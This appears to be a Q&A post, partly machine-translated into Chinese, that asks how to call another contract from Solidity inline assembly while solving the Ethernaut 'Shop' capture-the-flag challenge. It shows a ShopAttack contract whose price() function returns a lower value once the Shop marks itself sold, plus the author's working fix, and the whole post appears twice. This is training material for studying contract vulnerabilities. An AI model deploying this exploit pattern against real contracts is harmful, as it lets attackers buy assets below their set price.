可以从汇编中的另一个合约调用函数吗?坚固性
Is possible to call a function from another contract in assembly ? Solidity
这将是代码,但我的问题是,我正在做 ethernaut solidity 挑战,我的代码总是 运行 out gas,然后我认为“如果我使用汇编,它会花费更少的 gas”,所以我 运行 遇到了一个问题,可以从汇编中的另一个合约调用函数 getter?
这是我的代码:
pragma solidity ^0.6;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price.gas(3000)() >= price && !isSold) {
isSold = true;
price = _buyer.price.gas(3000)();
}
}
}
contract ShopAttack {
Shop public challenge;
constructor(Shop _challenge) public {
challenge = Shop(_challenge);
}
function price() external view returns (uint) {
assembly {
let result
switch sload(<calling challenge.isSold() from shop>)
case 1 {
result := 99
}
default {
result := 100
}
mstore(0x0, result)
return(0x0, 32)
}
}
function attack() external {
challenge.buy();
}
pragma solidity ^0.6;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price.gas(3000)() >= price && !isSold) {
isSold = true;
price = _buyer.price.gas(3000)();
}
}
}
contract ShopAttack {
function price() external view returns (uint) {
bool isSold = Shop(msg.sender).isSold();
assembly {
let result
switch isSold
case 1 {
result := 99
}
default {
result := 100
}
mstore(0x0, result)
return(0x0, 32)
}
}
function attack(Shop _victim) external {
Shop(_victim).buy();
}
}
我通过首先调用函数的方法来获取布尔值来解决!
这将是代码,但我的问题是,我正在做 ethernaut solidity 挑战,我的代码总是 运行 out gas,然后我认为“如果我使用汇编,它会花费更少的 gas”,所以我 运行 遇到了一个问题,可以从汇编中的另一个合约调用函数 getter?
这是我的代码:
pragma solidity ^0.6;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price.gas(3000)() >= price && !isSold) {
isSold = true;
price = _buyer.price.gas(3000)();
}
}
}
contract ShopAttack {
Shop public challenge;
constructor(Shop _challenge) public {
challenge = Shop(_challenge);
}
function price() external view returns (uint) {
assembly {
let result
switch sload(<calling challenge.isSold() from shop>)
case 1 {
result := 99
}
default {
result := 100
}
mstore(0x0, result)
return(0x0, 32)
}
}
function attack() external {
challenge.buy();
}
pragma solidity ^0.6;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price.gas(3000)() >= price && !isSold) {
isSold = true;
price = _buyer.price.gas(3000)();
}
}
}
contract ShopAttack {
function price() external view returns (uint) {
bool isSold = Shop(msg.sender).isSold();
assembly {
let result
switch isSold
case 1 {
result := 99
}
default {
result := 100
}
mstore(0x0, result)
return(0x0, 32)
}
}
function attack(Shop _victim) external {
Shop(_victim).buy();
}
}
我通过首先调用函数的方法来获取布尔值来解决!